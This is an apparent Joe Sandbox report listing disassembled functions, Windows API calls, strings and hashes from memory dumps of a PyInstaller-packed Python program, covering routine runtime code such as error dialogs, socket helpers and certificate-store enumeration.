Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction ID: 45aa486cb43e8da2c99fb29abee3855fa73dab5e373ef8af8e499d9eca07cd38
Opcode Fuzzy Hash: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction Fuzzy Hash: B341D662A1968281EA31AB11AC003BAB396FF99BE4F940539DF4D57789DF3DD501CF20

Function 00007FF72C6590E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72C658570: GetCurrentProcess.KERNEL32 ref: 00007FF72C658590
Part of subcall function 00007FF72C658570: OpenProcessToken.ADVAPI32 ref: 00007FF72C6585A3
Part of subcall function 00007FF72C658570: GetTokenInformation.ADVAPI32 ref: 00007FF72C6585C8
Part of subcall function 00007FF72C658570: GetLastError.KERNEL32 ref: 00007FF72C6585D2
Part of subcall function 00007FF72C658570: GetTokenInformation.ADVAPI32 ref: 00007FF72C658612
Part of subcall function 00007FF72C658570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF72C65862E
Part of subcall function 00007FF72C658570: CloseHandle.KERNEL32 ref: 00007FF72C658646

LocalFree.KERNEL32(?,00007FF72C653C55), ref: 00007FF72C65916C
LocalFree.KERNEL32(?,00007FF72C653C55), ref: 00007FF72C659175

Strings

Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF72C659183
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF72C659142
S-1-3-4, xrefs: 00007FF72C659121
D:(A;;FA;;;%s), xrefs: 00007FF72C659157

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: 430de809b3fb511dda6bfa2792f7ff47d410db63dc1c24250cec4923645aa75c
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: D4214F21A0874291E612BB10EC153EAA362FFA8790FE44435EA4D53BD6DF3CD805CB60

Function 00007FFBAA497370 Relevance: 9.1, APIs: 6, Instructions: 60networkCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FFBAA4973A8
WSADuplicateSocketW.WS2_32 ref: 00007FFBAA4973B8
WSASocketW.WS2_32 ref: 00007FFBAA4973EB
SetHandleInformation.KERNEL32 ref: 00007FFBAA497405
closesocket.WS2_32 ref: 00007FFBAA49741A
closesocket.WS2_32 ref: 00007FFBAA497440

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: Socketclosesocket$CurrentDuplicateHandleInformationProcess
String ID:
API String ID: 174288908-0
Opcode ID: e73c3e338b1d3a0163c9cb3dc333ceb7c9fc365eae773b70ffb101dc398ab952
Instruction ID: cfcf215a138ab426ed2addcdfb8a4ff2964db9795bd9705d0ae2d42327c1750e
Opcode Fuzzy Hash: e73c3e338b1d3a0163c9cb3dc333ceb7c9fc365eae773b70ffb101dc398ab952
Instruction Fuzzy Hash: EA216A61B0A642C1FA655B31E4C837D2398BF487B4F140275ED2E027E5DF3DD4268710

Function 00007FF72C66B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B30D
FlsSetValue.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B33A
FlsSetValue.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B34B
FlsSetValue.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B35C
SetLastError.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B377

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 8fefcbba4d209cc5a194374eabcf6afe7ae299e3690268f17104ea0393047aa2
Instruction ID: b528dea49729ec2de321f3305e8fcd7e978b44b48f469b021a3813d14ec907ea
Opcode Fuzzy Hash: 8fefcbba4d209cc5a194374eabcf6afe7ae299e3690268f17104ea0393047aa2
Instruction Fuzzy Hash: 16118E24B0C243C2FA5A73215E5113DB163FFA47B0FA44738EA6E576D6DE2CA4415B21

Function 00007FF72C652910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF72C651B6A), ref: 00007FF72C65295E

Strings

%s: %s, xrefs: 00007FF72C6529E8
Error, xrefs: 00007FF72C652A0E
Error [ANSI Fallback], xrefs: 00007FF72C6529FF
[PYI-%d:ERROR] , xrefs: 00007FF72C652966

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: 1a293b21af12d5c7a05d2a9e3fd064be512ebb6b8f574076b13183a5b28a55a4
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: F131F662B1868152E721B761AC412E7A396FF987E4F900136EF8D83749EF3CD14ACA10

Function 00007FF72C652390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF72C6523C8
DialogBoxIndirectParamW.USER32 ref: 00007FF72C65248E
DeleteObject.GDI32 ref: 00007FF72C6524C1
DestroyIcon.USER32 ref: 00007FF72C6524D3

Strings

Unhandled exception in script, xrefs: 00007FF72C6523F8

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction ID: 292e865b91f1ef857576b84c42e0cea15a61e894af5280f7789b99ea8d095d60
Opcode Fuzzy Hash: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction Fuzzy Hash: D031A472619A8284EB21EF21EC552FAB361FF99794F900135EA4E47B49DF3CD104CB10

Function 00007FFBAA497884 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

socket.gethostbyaddr, xrefs: 00007FFBAA4978DB
idna, xrefs: 00007FFBAA4978AD
et:gethostbyaddr, xrefs: 00007FFBAA4978B7
unsupported address family, xrefs: 00007FFBAA49793E

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID:
String ID: et:gethostbyaddr$idna$socket.gethostbyaddr$unsupported address family
API String ID: 0-1751716127
Opcode ID: 5086264f726791613e909880d31947cc31a9419187b2cdc6173c49615d767bb6
Instruction ID: a180e56392020ba00b8599a0e9ffa1f8b95dd46954f204453d36c710a7471f6c
Opcode Fuzzy Hash: 5086264f726791613e909880d31947cc31a9419187b2cdc6173c49615d767bb6
Instruction Fuzzy Hash: 853143A1A0AA42C5FA228B35E8C47AE6368FB8CBC4F440172EE8D43755DE3DD456C760

Function 00007FF72C652B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF72C65918F,?,00007FF72C653C55), ref: 00007FF72C652BA0
MessageBoxW.USER32 ref: 00007FF72C652C2A

Strings

Warning, xrefs: 00007FF72C652C1D
WARNING, xrefs: 00007FF72C652BAF
[PYI-%d:%ls] , xrefs: 00007FF72C652BA8

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: 5d3f22c610251f6ece640e35ebf42f2006ddb559cb5cd631cd3f015714843d58
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: DB21D122708B4292E712AB54F8457AAB3A6FB987D4F800136EE8D53659DE3CD219CB50

Function 00007FF72C652710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF72C651B99), ref: 00007FF72C652760

Strings

Error, xrefs: 00007FF72C6527DE
Error [ANSI Fallback], xrefs: 00007FF72C6527CF
ERROR, xrefs: 00007FF72C65276F
[PYI-%d:%s] , xrefs: 00007FF72C652768

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: 232d3d0a5cfeb901089f2024ed04681c0f1170c3fc9ebe893d224d8437097657
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: CF21B232A18B8292E721EB50BC417E6B3A5FB983E4F900136FE8D43659DF7CD1498B50

Function 00007FFBAA497F00 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44networkCOMMON

Download Yara Rule

APIs

getservbyname.WS2_32 ref: 00007FFBAA497F6E
htons.WS2_32 ref: 00007FFBAA497FB1

Strings

socket.getservbyname, xrefs: 00007FFBAA497F40
service/proto not found, xrefs: 00007FFBAA497F91
s|s:getservbyname, xrefs: 00007FFBAA497F10

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: getservbynamehtons
String ID: service/proto not found$socket.getservbyname$s|s:getservbyname
API String ID: 3889749166-1257235949
Opcode ID: 81776a8363e7915c76650aa2291702c83d97d5dac441e15644519e5976245378
Instruction ID: f670f555b5dbf79eb7b00669b081cf5799167f37fbfd39e0f79e8a8e2b1dfd5a
Opcode Fuzzy Hash: 81776a8363e7915c76650aa2291702c83d97d5dac441e15644519e5976245378
Instruction Fuzzy Hash: 601121A160EA42C1EA028B31E9C427D7378FB89B85F540072FE8D43668DF3DD066C720

Function 00007FFBAA4C339C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBAA4C33C8
GetCurrentThreadId.KERNEL32 ref: 00007FFBAA4C33D6
GetCurrentProcessId.KERNEL32 ref: 00007FFBAA4C33E2
QueryPerformanceCounter.KERNEL32 ref: 00007FFBAA4C33F2

Strings

]>mBD, xrefs: 00007FFBAA4C33A9

Memory Dump Source

Source File: 00000008.00000002.1952893577.00007FFBAA4B1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFBAA4B0000, based on PE: true

Associated: 00000008.00000002.1952857331.00007FFBAA4B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4D7000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953017597.00007FFBAA4D8000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953052763.00007FFBAA4DA000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa4b0000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID: ]>mBD
API String ID: 2933794660-976336857
Opcode ID: 349ebb80db9919ede78f7f8e81212651b3724fe5d899dc880833b43ba8ec01b9
Instruction ID: f6ad7f8836316e80cb1d810010cb7ea09c9cf966ed3f5011606e888921408961
Opcode Fuzzy Hash: 349ebb80db9919ede78f7f8e81212651b3724fe5d899dc880833b43ba8ec01b9
Instruction Fuzzy Hash: C4114862B16F01CAEB018F71E8442B833B8FB18758F440A31EE2D427A4EF38D1558350

Function 00007FF72C669A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF72C669AAD
GetProcAddress.KERNEL32 ref: 00007FF72C669AC3
FreeLibrary.KERNEL32 ref: 00007FF72C669AEA

Strings

CorExitProcess, xrefs: 00007FF72C669ABC
mscoree.dll, xrefs: 00007FF72C669AA4

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: ae81148a40a3e58e71dc2da579647c5ac35ce6a7802ebd3fccee1782f7d5053d
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: B7F0C82170870781EA15AB10EC4933AA371FF94770F940639CA6E455E4DF2CD48CCB20

Function 00007FFBA66AAC0C Relevance: 7.7, APIs: 5, Instructions: 161encryptionCOMMON

Download Yara Rule

APIs

00007FFBAA67CA38.PYTHON313 ref: 00007FFBA66AAC27

Part of subcall function 00007FFBA66ACCDC: CertOpenStore.CRYPT32 ref: 00007FFBA66ACD07

GetLastError.KERNEL32 ref: 00007FFBA66AAC60
CertEnumCRLsInStore.CRYPT32 ref: 00007FFBA66AACF1
CertFreeCRLContext.CRYPT32 ref: 00007FFBA66AAD76
CertCloseStore.CRYPT32 ref: 00007FFBA66AADCF

Memory Dump Source

Source File: 00000008.00000002.1951835790.00007FFBA66A1000.00000040.00000001.01000000.00000014.sdmp, Offset: 00007FFBA66A0000, based on PE: true

Associated: 00000008.00000002.1951780580.00007FFBA66A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66C1000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CA000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952036399.00007FFBA66D1000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952071427.00007FFBA66D3000.00000004.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba66a0000_program.jbxd

Similarity

API ID: Cert$Store$00007CloseContextEnumErrorFreeLastOpen
String ID:
API String ID: 966150261-0
Opcode ID: e918e1c0eddfe07976633dd5ae524c922d6a439c169cdbef9b1a398d1dea870d
Instruction ID: 0a597dd15bde6990c3a9899c0f304d8b1e7e08966d3fac1fc6738117f477314f
Opcode Fuzzy Hash: e918e1c0eddfe07976633dd5ae524c922d6a439c169cdbef9b1a398d1dea870d
Instruction Fuzzy Hash: 81512DF1E0B65282FA576F39DE141B822B6EF64F91B14A432CD4E86791DE3CA401DB00

Function 00007FFBAA4981A8 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

GetIfTable2Ex.IPHLPAPI ref: 00007FFBAA4981E9
ConvertInterfaceLuidToNameW.IPHLPAPI ref: 00007FFBAA498261
FreeMibTable.IPHLPAPI ref: 00007FFBAA4982CB
FreeMibTable.IPHLPAPI ref: 00007FFBAA498329
FreeMibTable.IPHLPAPI ref: 00007FFBAA49834C

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: FreeTable$ConvertInterfaceLuidNameTable2
String ID:
API String ID: 1671601251-0
Opcode ID: 04bc949163b978593711b8e016bbaabdb93266c53af34e1d09aed761846783f8
Instruction ID: 746ca5b6013422503af9dcd8675d09551575b679644554ddc70a24be84626a4b
Opcode Fuzzy Hash: 04bc949163b978593711b8e016bbaabdb93266c53af34e1d09aed761846783f8
Instruction Fuzzy Hash: B8415FB1A0EA42C2EB664B34E8D437D73A8FF95B85F000071ED4E426A5DF2DE426C760

Function 00007FF72C679368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF72C679390
_set_statfp.LIBCMT ref: 00007FF72C6793AB
_set_statfp.LIBCMT ref: 00007FF72C6793C7
_set_statfp.LIBCMT ref: 00007FF72C679403

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: c0fc834633b997149547d233c601b28d733ff1fad658722d3fa7980960768f62
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: EF119632D58A0201FA567165EC9337990D3FF7C378E880E34E76E06AD58E6C9849CE20

Function 00007FF72C66B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B407
FlsSetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B418

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
